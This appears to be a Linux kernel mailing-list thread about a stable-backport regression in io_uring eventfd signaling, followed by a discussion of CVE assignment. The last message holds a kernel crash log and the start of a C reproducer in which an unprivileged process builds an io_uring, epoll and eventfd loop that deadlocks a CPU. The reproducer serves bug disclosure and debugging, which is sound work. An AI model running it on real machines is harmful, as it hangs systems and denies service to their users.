* Subject: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
@ 2026-11-13 23:22 dev
2026-11-14 2:00 ` Greg KH
2026-11-14 17:42 ` Sasha Levin
0 siblings, 2 replies; 18+ messages in thread
From: dev @ 2026-11-13 23:22 UTC (permalink / raw)
To: stable@vger.kernel.org; +Cc: io-uring@vger.kernel.org, Jens Axboe, Yufan Chen
While working on my own async runtime on io_uring, I found what looks like a defect in the stable backports. I first saw it on Ubuntu 26.04's kernel, and I can't find any existing report of it.
A registered io_uring eventfd stops signaling after its first deferred signal on kernels that carry the backport of cd305ee3633a ("io_uring: defer eventfd signaling when queued from a wakeup handler") but not 04fe9aeb4f3c ("io_uring/eventfd: reset deferred signal state").
What I see, on Ubuntu 26.04 7.0.0-1016-aws, x86_64 and arm64. Ubuntu's 7.0 kernel took the cd305ee3633a backport through the 6.18.49 stable update:
1. A ring with IORING_SETUP_SINGLE_ISSUER | IORING_SETUP_DEFER_TASKRUN | IORING_SETUP_TASKRUN_FLAG, and an eventfd registered with IORING_REGISTER_EVENTFD.
2. Two IORING_OP_RECV on a nonblocking TCP socket. Each gets -EAGAIN, arms poll, and later has data.
3. The first receive's task work signals the eventfd. For the second, tracing shows io_uring_task_add, but the eventfd never becomes readable, and poll() on it blocks.
4. io_uring_enter with IORING_ENTER_GETEVENTS then runs the work and posts the completion.
Debian 12's 6.1 kernel does not show this.
What I THINK is going on (I read the source, w/ help from Opus 5.5; please correct me if I'm wrong): after cd305ee3633a, task work queued from a poll wakeup signals through the deferred path, which sets IO_EVENTFD_OP_SIGNAL_BIT. Without 04fe9aeb4f3c, io_eventfd_do_signal() never clears that bit, so each later deferred signal is skipped.
Where it applies: cd305ee3633a is in 6.18.49 and 6.12.114. 04fe9aeb4f3c (Fixes: 60b6c075e8eb, in v7.1, no stable tag) is in neither branch, and I didn't find a copy in the stable queue. I read this in the source of the linux-6.18.y and linux-6.12.y heads, but I didn't run those kernels.
If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place. The 6.12.y code differs, so it may need a small change. I will obviously leave the fix to you, but I'm happy to test a candidate on the affected Ubuntu kernel.
Thanks,
Nathan - Founder, Lead Developer @ Rebased, Inc.
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: Subject: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-13 23:22 Subject: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) dev
@ 2026-11-14 2:00 ` Greg KH
2026-11-15 1:13 ` dev
2026-11-14 17:42 ` Sasha Levin
1 sibling, 1 reply; 18+ messages in thread
From: Greg KH @ 2026-11-14 2:00 UTC (permalink / raw)
To: dev
Cc: stable@vger.kernel.org, io-uring@vger.kernel.org, Jens Axboe,
Yufan Chen
On Fri, Nov 13, 2026 at 11:22:38PM +0000, dev@rebasedinc.com wrote:
> While working on my own async runtime on io_uring, I found what looks like a defect in the stable backports. I first saw it on Ubuntu 26.04's kernel, and I can't find any existing report of it.
>
> A registered io_uring eventfd stops signaling after its first deferred signal on kernels that carry the backport of cd305ee3633a ("io_uring: defer eventfd signaling when queued from a wakeup handler") but not 04fe9aeb4f3c ("io_uring/eventfd: reset deferred signal state").
>
> What I see, on Ubuntu 26.04 7.0.0-1016-aws, x86_64 and arm64. Ubuntu's 7.0 kernel took the cd305ee3633a backport through the 6.18.49 stable update:
Please test the real kernel.org 6.18.y release. 6.18.49 is very old.
If that still has a problem, please let us know and ideally send us a
backported patch.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-13 23:22 Subject: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) dev
2026-11-14 2:00 ` Greg KH
@ 2026-11-14 17:42 ` Sasha Levin
2026-11-14 18:12 ` Jens Axboe
1 sibling, 1 reply; 18+ messages in thread
From: Sasha Levin @ 2026-11-14 17:42 UTC (permalink / raw)
To: stable@vger.kernel.org
Cc: Sasha Levin, io-uring@vger.kernel.org, Jens Axboe, Yufan Chen,
dev
On 2026-11-13, dev@rebasedinc.com wrote:
> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
Queued for 6.18 and 6.12, thanks.
--
Thanks,
Sasha
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-14 17:42 ` Sasha Levin
@ 2026-11-14 18:12 ` Jens Axboe
2026-11-16 9:52 ` Greg Kroah-Hartman
0 siblings, 1 reply; 18+ messages in thread
From: Jens Axboe @ 2026-11-14 18:12 UTC (permalink / raw)
To: Sasha Levin, stable@vger.kernel.org
Cc: io-uring@vger.kernel.org, Yufan Chen, dev, Greg Kroah-Hartman
On 11/14/26 10:42 AM, Sasha Levin wrote:
> On 2026-11-13, dev@rebasedinc.com wrote:
>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>
> Queued for 6.18 and 6.12, thanks.
Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
Getting a little tired of chasing these.
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: Subject: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-14 2:00 ` Greg KH
@ 2026-11-15 1:13 ` dev
0 siblings, 0 replies; 18+ messages in thread
From: dev @ 2026-11-15 1:13 UTC (permalink / raw)
To: Greg KH
Cc: stable@vger.kernel.org, io-uring@vger.kernel.org, Jens Axboe,
Yufan Chen
Hey, Greg.
I've tested the current releases, 6.18.63 & 6.12.117. Both still have the problem: the registered eventfd signals only the first deferred task work of a registration.
I noticed that Sasha already queued the backport (thank you, Sasha) of 04fe9aeb4f3c for 6.18 and 6.12. With the patch applied, both releases signal each deferred task work.
The test makes two deferred signals on one eventfd registration. Each signal comes from a poll of a pipe that a write wakes. A second test waits only on the eventfd for two TCP receives that first get -EAGAIN.
Both tests pass on the patched kernels. These were x86_64 builds under QEMU.
Thanks,
Nathan
On Friday, November 13th, 2026 at 9:00 PM, Greg KH <gregkh@linuxfoundation.org> wrote:
> On Fri, Nov 13, 2026 at 11:22:38PM +0000, dev@rebasedinc.com wrote:
> > While working on my own async runtime on io_uring, I found what looks like a defect in the stable backports. I first saw it on Ubuntu 26.04's kernel, and I can't find any existing report of it.
> >
> > A registered io_uring eventfd stops signaling after its first deferred signal on kernels that carry the backport of cd305ee3633a ("io_uring: defer eventfd signaling when queued from a wakeup handler") but not 04fe9aeb4f3c ("io_uring/eventfd: reset deferred signal state").
> >
> > What I see, on Ubuntu 26.04 7.0.0-1016-aws, x86_64 and arm64. Ubuntu's 7.0 kernel took the cd305ee3633a backport through the 6.18.49 stable update:
>
> Please test the real kernel.org 6.18.y release. 6.18.49 is very old.
>
> If that still has a problem, please let us know and ideally send us a
> backported patch.
>
> thanks,
>
> greg k-h
>
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-14 18:12 ` Jens Axboe
@ 2026-11-16 9:52 ` Greg Kroah-Hartman
2026-11-17 2:21 ` Jens Axboe
0 siblings, 1 reply; 18+ messages in thread
From: Greg Kroah-Hartman @ 2026-11-16 9:52 UTC (permalink / raw)
To: Jens Axboe
Cc: Sasha Levin, stable@vger.kernel.org, io-uring@vger.kernel.org,
Yufan Chen, dev
On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
> On 11/14/26 10:42 AM, Sasha Levin wrote:
> > On 2026-11-13, dev@rebasedinc.com wrote:
> >> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
> >
> > Queued for 6.18 and 6.12, thanks.
>
> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
> Getting a little tired of chasing these.
Now rejected, sorry about that.
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-16 9:52 ` Greg Kroah-Hartman
@ 2026-11-17 2:21 ` Jens Axboe
2026-11-17 7:42 ` Greg Kroah-Hartman
2026-11-17 12:42 ` io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) Sasha Levin
0 siblings, 2 replies; 18+ messages in thread
From: Jens Axboe @ 2026-11-17 2:21 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: Sasha Levin, stable@vger.kernel.org, io-uring@vger.kernel.org,
Yufan Chen, dev
On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
> On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
>> On 11/14/26 10:42 AM, Sasha Levin wrote:
>>> On 2026-11-13, dev@rebasedinc.com wrote:
>>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>>>
>>> Queued for 6.18 and 6.12, thanks.
>>
>> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
>> Getting a little tired of chasing these.
>
> Now rejected, sorry about that.
Not sure how we improve on that, it's really annoying to catch these bogus
ones after the fact?
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-17 2:21 ` Jens Axboe
@ 2026-11-17 7:42 ` Greg Kroah-Hartman
2026-11-17 12:41 ` Jens Axboe
2026-11-19 14:19 ` proposed io_uring CVEs for 7.3.2 Greg Kroah-Hartman
2026-11-17 12:42 ` io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04) Sasha Levin
1 sibling, 2 replies; 18+ messages in thread
From: Greg Kroah-Hartman @ 2026-11-17 7:42 UTC (permalink / raw)
To: Jens Axboe
Cc: Sasha Levin, stable@vger.kernel.org, io-uring@vger.kernel.org,
Yufan Chen, dev
On Mon, Nov 16, 2026 at 07:21:38PM -0700, Jens Axboe wrote:
> On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
> > On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
> >> On 11/14/26 10:42 AM, Sasha Levin wrote:
> >>> On 2026-11-13, dev@rebasedinc.com wrote:
> >>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
> >>>
> >>> Queued for 6.18 and 6.12, thanks.
> >>
> >> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
> >> Getting a little tired of chasing these.
> >
> > Now rejected, sorry about that.
>
> Not sure how we improve on that, it's really annoying to catch these bogus
> ones after the fact?
How about we make the "rule" that we don't assign any kernel CVEs to
io_uring things unless you ask for us to? We do this already with the
xen portions of the kernel, but it requires you to remember to ask us
for an id "manually" if you want one.
Or any other ideas?
thanks,
greg k-h
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-17 7:42 ` Greg Kroah-Hartman
@ 2026-11-17 12:41 ` Jens Axboe
2026-11-19 14:19 ` proposed io_uring CVEs for 7.3.2 Greg Kroah-Hartman
1 sibling, 0 replies; 18+ messages in thread
From: Jens Axboe @ 2026-11-17 12:41 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: Sasha Levin, stable@vger.kernel.org, io-uring@vger.kernel.org,
Yufan Chen, dev
On 11/17/26 12:42 AM, Greg Kroah-Hartman wrote:
> On Mon, Nov 16, 2026 at 07:21:38PM -0700, Jens Axboe wrote:
>> On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
>>> On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
>>>> On 11/14/26 10:42 AM, Sasha Levin wrote:
>>>>> On 2026-11-13, dev@rebasedinc.com wrote:
>>>>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>>>>>
>>>>> Queued for 6.18 and 6.12, thanks.
>>>>
>>>> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
>>>> Getting a little tired of chasing these.
>>>
>>> Now rejected, sorry about that.
>>
>> Not sure how we improve on that, it's really annoying to catch these bogus
>> ones after the fact?
>
> How about we make the "rule" that we don't assign any kernel CVEs to
> io_uring things unless you ask for us to? We do this already with the
> xen portions of the kernel, but it requires you to remember to ask us
> for an id "manually" if you want one.
>
> Or any other ideas?
That'd probably work. I do the stable patch series anyway, could note it
in there if a CVE should be assigned. It's a better idea than the one I
had, which was to note it as a tag or avoid CC'ing stable on patches as
the latter seems to be a key criteria for you guys.
--
Jens Axboe
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: io_uring/eventfd: registered eventfd signals only once after the cd305ee3633a backport (6.18.y, 6.12.y, Ubuntu 26.04)
2026-11-17 2:21 ` Jens Axboe
2026-11-17 7:42 ` Greg Kroah-Hartman
@ 2026-11-17 12:42 ` Sasha Levin
2026-11-17 12:45 ` Jens Axboe
1 sibling, 1 reply; 18+ messages in thread
From: Sasha Levin @ 2026-11-17 12:42 UTC (permalink / raw)
To: Jens Axboe
Cc: Greg Kroah-Hartman, stable@vger.kernel.org,
io-uring@vger.kernel.org, Yufan Chen, dev
[-- Attachment #1: Type: text/plain, Size: 10705 bytes --]
On Mon, Nov 16, 2026 at 07:21:38PM -0700, Jens Axboe wrote:
>On 11/16/26 2:52 AM, Greg Kroah-Hartman wrote:
>> On Sat, Nov 14, 2026 at 11:12:40AM -0700, Jens Axboe wrote:
>>> On 11/14/26 10:42 AM, Sasha Levin wrote:
>>>> On 2026-11-13, dev@rebasedinc.com wrote:
>>>>> If this is correct, a backport of 04fe9aeb4f3c to 6.18.y and 6.12.y looks like the right fix; it keeps the CVE-2026-80920 fix in place.
>>>>
>>>> Queued for 6.18 and 6.12, thanks.
>>>
>>> Yet another bs CVE - Greg, please invalidate this one too, it's NOT CVE material.
>>> Getting a little tired of chasing these.
>>
>> Now rejected, sorry about that.
>
>Not sure how we improve on that, it's really annoying to catch these bogus
>ones after the fact?
Hi Jens,
Since some of our reviews are LLM based, I was looking to see why this one was
flagged as a security issue.
From the explanation, and looking at the code, it seems that we can register an
eventfd with io_uring, then have epoll watch that same eventfd. When something
wakes the epoll, the kernel is holding epoll's wait-queue lock. That wakeup
runs io_uring's poll handler, which signals the eventfd, but the eventfd is
watched by the same epoll, so it tries to grab that same lock again on the same
CPU. The CPU spins forever on a lock it already holds. One core is dead,
followed by RCU stalls, machine wedges. Any unprivileged user with io_uring
access can do it.
I've attached the reproducer, and below is a log from a run with that
reproducer.
[ 1.112892] ============================================
[ 1.113398] WARNING: possible recursive locking detected
[ 1.113911] 7.2.0-rc1-00006-g3f3a6a16bbe8 #3 Not tainted
[ 1.114416] --------------------------------------------
[ 1.114919] init/61 is trying to acquire lock:
[ 1.115348] ffff888002e388f0 (&ep->poll_wait/1){....}-{3:3}, at: ep_poll_callback+0x556/0x930
[ 1.116157]
[ 1.116157] but task is already holding lock:
[ 1.116711] ffff888002e388f0 (&ep->poll_wait/1){....}-{3:3}, at: ep_poll_callback+0x556/0x930
[ 1.117509]
[ 1.117509] other info that might help us debug this:
[ 1.118125] Possible unsafe locking scenario:
[ 1.118125]
[ 1.118686] CPU0
[ 1.118933] ----
[ 1.119180] lock(&ep->poll_wait/1);
[ 1.119538] lock(&ep->poll_wait/1);
[ 1.119897]
[ 1.119897] *** DEADLOCK ***
[ 1.119897]
[ 1.120454] May be due to missing lock nesting notation
[ 1.120454]
[ 1.121090] 4 locks held by init/61:
[ 1.121439] #0: ffff888002e124a0 (&pipe->rd_wait){....}-{3:3}, at: __wake_up_sync_key+0x20/0x60
[ 1.122270] #1: ffff888002e388f0 (&ep->poll_wait/1){....}-{3:3}, at: ep_poll_callback+0x556/0x930
[ 1.123107] #2: ffffffff87222340 (rcu_read_lock){....}-{1:3}, at: io_eventfd_signal+0x8b/0x720
[ 1.123923] #3: ffff888002c2cc20 (&ctx->wqh){....}-{3:3}, at: eventfd_signal_mask+0x69/0x200
[ 1.124723]
[ 1.124723] stack backtrace:
[ 1.125145] CPU: 1 UID: 65534 PID: 61 Comm: init Not tainted 7.2.0-rc1-00006-g3f3a6a16bbe8 #3 PREEMPT(full)
[ 1.125148] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014
[ 1.125150] Call Trace:
[ 1.125152] <TASK>
[ 1.125153] dump_stack_lvl+0x5d/0x80
[ 1.125157] print_deadlock_bug.cold+0xc0/0xcd
[ 1.125160] __lock_acquire+0x10d3/0x17e0
[ 1.125163] ? add_lock_to_list+0x2c/0xd0
[ 1.125165] lock_acquire+0x17d/0x2e0
[ 1.125167] ? ep_poll_callback+0x556/0x930
[ 1.125169] ? find_held_lock+0x2b/0x80
[ 1.125170] _raw_spin_lock_irqsave_nested+0x36/0x60
[ 1.125174] ? ep_poll_callback+0x556/0x930
[ 1.125175] ? _raw_spin_unlock_irqrestore+0x22/0x50
[ 1.125177] ep_poll_callback+0x556/0x930
[ 1.125178] ? lock_is_held_type+0xa8/0x150
[ 1.125181] __wake_up_common+0x144/0x220
[ 1.125183] eventfd_signal_mask+0x10e/0x200
[ 1.125184] io_eventfd_signal+0x6ae/0x720
[ 1.125186] ? __pfx_io_eventfd_signal+0x10/0x10
[ 1.125187] ? find_held_lock+0x2b/0x80
[ 1.125189] io_req_local_work_add+0x1f9/0x410
[ 1.125191] ? __io_poll_execute+0x258/0x300
[ 1.125192] io_poll_wake+0x2c7/0x3a0
[ 1.125193] ? lock_is_held_type+0xa8/0x150
[ 1.125195] __wake_up_common+0x144/0x220
[ 1.125196] ep_poll_callback+0x5ae/0x930
[ 1.125197] ? lock_is_held_type+0xa8/0x150
[ 1.125199] __wake_up_common+0x144/0x220
[ 1.125200] __wake_up_sync_key+0x3e/0x60
[ 1.125201] anon_pipe_write+0xe5c/0x1c70
[ 1.125205] ? __pfx_anon_pipe_write+0x10/0x10
[ 1.125207] ? __file_has_perm+0x322/0x4c0
[ 1.125209] ? file_tty_write.isra.0+0x4ad/0x7d0
[ 1.125213] ? lock_release+0xe1/0x310
[ 1.125215] ? file_tty_write.isra.0+0x4ad/0x7d0
[ 1.125216] ? selinux_file_permission+0x22c/0x520
[ 1.125218] vfs_write+0xa5c/0xf90
[ 1.125221] ? __pfx_vfs_write+0x10/0x10
[ 1.125222] ? do_epoll_ctl+0xf5/0x1d0
[ 1.125224] ? __pfx___do_sys_io_uring_enter+0x10/0x10
[ 1.125226] ksys_write+0x1ab/0x250
[ 1.125228] ? __pfx_ksys_write+0x10/0x10
[ 1.125229] ? do_epoll_create+0x39c/0x4f0
[ 1.125231] ? do_syscall_64+0x82/0x6a0
[ 1.125232] ? lockdep_hardirqs_on_prepare+0xd9/0x190
[ 1.125234] do_syscall_64+0xf3/0x6a0
[ 1.125235] ? exc_page_fault+0xde/0xf0
[ 1.125236] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 1.125238] RIP: 0033:0x4247d2
[ 1.125240] Code: 18 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 75 1a 83 e2 39 83 fa 08 75 12 e8 1b ff ff ff 0f 1f 00 49 89 ca 48 8b 44 24 20 0f 05 <48> 83 c4 18 c3 66 0f 1f 84 00 00 00 00 00 48 83 ec 10 ff 74 24 18
[ 1.125241] RSP: 002b:00007ffcb0c306a0 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[ 1.125244] RAX: ffffffffffffffda RBX: 00007f2f89438008 RCX: 00000000004247d2
[ 1.125245] RDX: 0000000000000001 RSI: 00007ffcb0c3072b RDI: 0000000000000007
[ 1.125246] RBP: 00007f2f8943800c R08: 0000000000000000 R09: 0000000000000000
[ 1.125247] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f2f89438040
[ 1.125248] R13: 00007f2f89438014 R14: 0000000000000008 R15: 0000000000000004
[ 1.125249] </TASK>
[ 1.219726] clocksource: Watchdog remote CPU 1 read timed out
[ 27.114321] rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:
[ 27.114996] rcu: 1-...0: (6 ticks this GP) idle=22d4/1/0x4000000000000000 softirq=75/76 fqs=6349
[ 27.115882] rcu: (detected by 0, t=26002 jiffies, g=-959, q=8 ncpus=2)
[ 27.116532] Sending NMI from CPU 0 to CPUs 1:
[ 27.116563] NMI backtrace for cpu 1
[ 27.116573] CPU: 1 UID: 65534 PID: 61 Comm: init Not tainted 7.2.0-rc1-00006-g3f3a6a16bbe8 #3 PREEMPT(full)
[ 27.116581] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014
[ 27.116585] RIP: 0010:native_halt+0xe/0x30
[ 27.116598] Code: 89 cf e9 f5 a9 3a 01 0f 1f 44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 73 26 7e 03 f4 <c3> cc cc cc cc 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 90 90 90 90
[ 27.116602] RSP: 0018:ffff888002e676b0 EFLAGS: 00000046
[ 27.116609] RAX: 0000000000000000 RBX: ffff888002e388d8 RCX: 0000000000000004
[ 27.116612] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffff888002e388d8
[ 27.116614] RBP: dffffc0000000000 R08: ffffffff861a809a R09: 1ffff110005c711b
[ 27.116616] R10: ffffed10005c711c R11: ffffed10005c711c R12: 0000000000000000
[ 27.116617] R13: 0000000000000000 R14: ffffed10005c711b R15: ffff88806cf39280
[ 27.116626] FS: 0000000033fe5400(0000) GS:ffff8880e47b7000(0000) knlGS:0000000000000000
[ 27.116641] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 27.116648] CR2: 000000000047c042 CR3: 000000000362d000 CR4: 0000000000750ef0
[ 27.116652] PKRU: 55555554
[ 27.116654] Call Trace:
[ 27.116658] <TASK>
[ 27.116660] kvm_wait+0xcf/0x110
[ 27.116670] __pv_queued_spin_lock_slowpath+0x6b4/0xe30
[ 27.116679] ? __pfx___pv_queued_spin_lock_slowpath+0x10/0x10
[ 27.116683] ? perf_trace_lock+0x1d0/0x500
[ 27.116689] ? add_lock_to_list+0x2c/0xd0
[ 27.116694] do_raw_spin_lock+0x1e9/0x280
[ 27.116700] ? ep_poll_callback+0x556/0x930
[ 27.116706] ? __pfx_do_raw_spin_lock+0x10/0x10
[ 27.116712] _raw_spin_lock_irqsave_nested+0x3e/0x60
[ 27.116717] ? ep_poll_callback+0x556/0x930
[ 27.116721] ? _raw_spin_unlock_irqrestore+0x22/0x50
[ 27.116726] ep_poll_callback+0x556/0x930
[ 27.116731] ? lock_is_held_type+0xa8/0x150
[ 27.116736] __wake_up_common+0x144/0x220
[ 27.116740] eventfd_signal_mask+0x10e/0x200
[ 27.116746] io_eventfd_signal+0x6ae/0x720
[ 27.116753] ? __pfx_io_eventfd_signal+0x10/0x10
[ 27.116758] ? find_held_lock+0x2b/0x80
[ 27.116761] io_req_local_work_add+0x1f9/0x410
[ 27.116767] ? __io_poll_execute+0x258/0x300
[ 27.116772] io_poll_wake+0x2c7/0x3a0
[ 27.116776] ? lock_is_held_type+0xa8/0x150
[ 27.116779] __wake_up_common+0x144/0x220
[ 27.116783] ep_poll_callback+0x5ae/0x930
[ 27.116788] ? lock_is_held_type+0xa8/0x150
[ 27.116791] __wake_up_common+0x144/0x220
[ 27.116794] __wake_up_sync_key+0x3e/0x60
[ 27.116800] anon_pipe_write+0xe5c/0x1c70
[ 27.116808] ? __pfx_anon_pipe_write+0x10/0x10
[ 27.116813] ? __file_has_perm+0x322/0x4c0
[ 27.116817] ? file_tty_write.isra.0+0x4ad/0x7d0
[ 27.116823] ? lock_release+0xe1/0x310
[ 27.116828] ? file_tty_write.isra.0+0x4ad/0x7d0
[ 27.116832] ? selinux_file_permission+0x22c/0x520
[ 27.116837] vfs_write+0xa5c/0xf90
[ 27.116842] ? __pfx_vfs_write+0x10/0x10
[ 27.116847] ? do_epoll_ctl+0xf5/0x1d0
[ 27.116850] ? __pfx___do_sys_io_uring_enter+0x10/0x10
[ 27.116857] ksys_write+0x1ab/0x250
[ 27.116861] ? __pfx_ksys_write+0x10/0x10
[ 27.116865] ? do_epoll_create+0x39c/0x4f0
[ 27.116870] ? do_syscall_64+0x82/0x6a0
[ 27.116874] ? lockdep_hardirqs_on_prepare+0xd9/0x190
[ 27.116878] do_syscall_64+0xf3/0x6a0
[ 27.116883] ? exc_page_fault+0xde/0xf0
[ 27.116886] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 27.116891] RIP: 0033:0x4247d2
[ 27.116896] Code: 18 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 75 1a 83 e2 39 83 fa 08 75 12 e8 1b ff ff ff 0f 1f 00 49 89 ca 48 8b 44 24 20 0f 05 <48> 83 c4 18 c3 66 0f 1f 84 00 00 00 00 00 48 83 ec 10 ff 74 24 18
[ 27.116899] RSP: 002b:00007ffcb0c306a0 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[ 27.116905] RAX: ffffffffffffffda RBX: 00007f2f89438008 RCX: 00000000004247d2
[ 27.116907] RDX: 0000000000000001 RSI: 00007ffcb0c3072b RDI: 0000000000000007
[ 27.116909] RBP: 00007f2f8943800c R08: 0000000000000000 R09: 0000000000000000
[ 27.116911] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f2f89438040
[ 27.116913] R13: 00007f2f89438014 R14: 0000000000000008 R15: 0000000000000004
[ 27.116916] </TASK>
--
Thanks,
Sasha
[-- Attachment #2: repro.c --]
[-- Type: text/x-csrc, Size: 10471 bytes --]
/*
* Local VM reproducer for the eventfd<->epoll recursion fixed by
* cd305ee3633a ("io_uring: defer eventfd signaling when queued from a
* wakeup handler")
*
* Runs as PID 1 (init) inside a throwaway initramfs. Builds the graph:
*
* io_uring(DEFER_TASKRUN) --poll--> epoll fd --watches--> eventfd
* ^-- registered as this ring's CQ eventfd --'
*
* Triggering a non-eventfd source (a pipe) makes the io_uring poll wake
* fire while ep->poll_wait.lock is held; on a buggy kernel the CQ-eventfd
* signal goes out inline and re-enters epoll, re-acquiring the same lock on
* the same CPU -> spinlock recursion -> the CPU wedges.
*
* Privilege model: PID 1 starts as root only to mount devtmpfs / open the
* console and, at the end, to power the VM off (reboot() needs CAP_SYS_BOOT).
* The io_uring/epoll/pipe graph and the trigger run in a CHILD that first
* drops to uid/gid 65534 and proves the drop is irreversible. So the bug is
* reached entirely from an unprivileged process; the root parent only reaps
* the child and shuts the machine down.
*/
#define _GNU_SOURCE
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <sys/mount.h>
#include <sys/reboot.h>
#include <linux/reboot.h>
#include <poll.h>
/* --- io_uring uapi (vendored, exact 64-byte sqe layout) --- */
#define IORING_SETUP_SINGLE_ISSUER (1U << 12)
#define IORING_SETUP_DEFER_TASKRUN (1U << 13)
#define IORING_OP_POLL_ADD 6
#define IORING_POLL_ADD_MULTI (1U << 0)
#define IORING_REGISTER_EVENTFD 4
#define IORING_OFF_SQ_RING 0ULL
#define IORING_OFF_CQ_RING 0x8000000ULL
#define IORING_OFF_SQES 0x10000000ULL
#define IORING_FEAT_SINGLE_MMAP (1U << 0)
struct io_uring_sqe {
uint8_t opcode;
uint8_t flags;
uint16_t ioprio;
int32_t fd;
uint64_t off;
uint64_t addr;
uint32_t len;
uint32_t poll32_events;
uint64_t user_data;
uint16_t buf_index;
uint16_t personality;
int32_t splice_fd_in;
uint64_t addr3;
uint64_t __pad2;
};
struct io_sqring_offsets {
uint32_t head, tail, ring_mask, ring_entries, flags, dropped, array, resv1;
uint64_t user_addr;
};
struct io_cqring_offsets {
uint32_t head, tail, ring_mask, ring_entries, overflow, cqes, flags, resv1;
uint64_t user_addr;
};
struct io_uring_params {
uint32_t sq_entries, cq_entries, flags, sq_thread_cpu, sq_thread_idle, features, wq_fd, resv[3];
struct io_sqring_offsets sq_off;
struct io_cqring_offsets cq_off;
};
static int io_uring_setup(unsigned e, struct io_uring_params *p)
{ return (int)syscall(__NR_io_uring_setup, e, p); }
static int io_uring_enter(int fd, unsigned to_submit, unsigned min_complete, unsigned flags)
{ return (int)syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, (void *)0, (size_t)0); }
static int io_uring_register(int fd, unsigned op, void *arg, unsigned nr)
{ return (int)syscall(__NR_io_uring_register, fd, op, arg, nr); }
static void say(const char *s) { write(1, s, strlen(s)); }
static void sayn(const char *s, long n)
{
char b[32]; int i = 0; unsigned long v;
say(s);
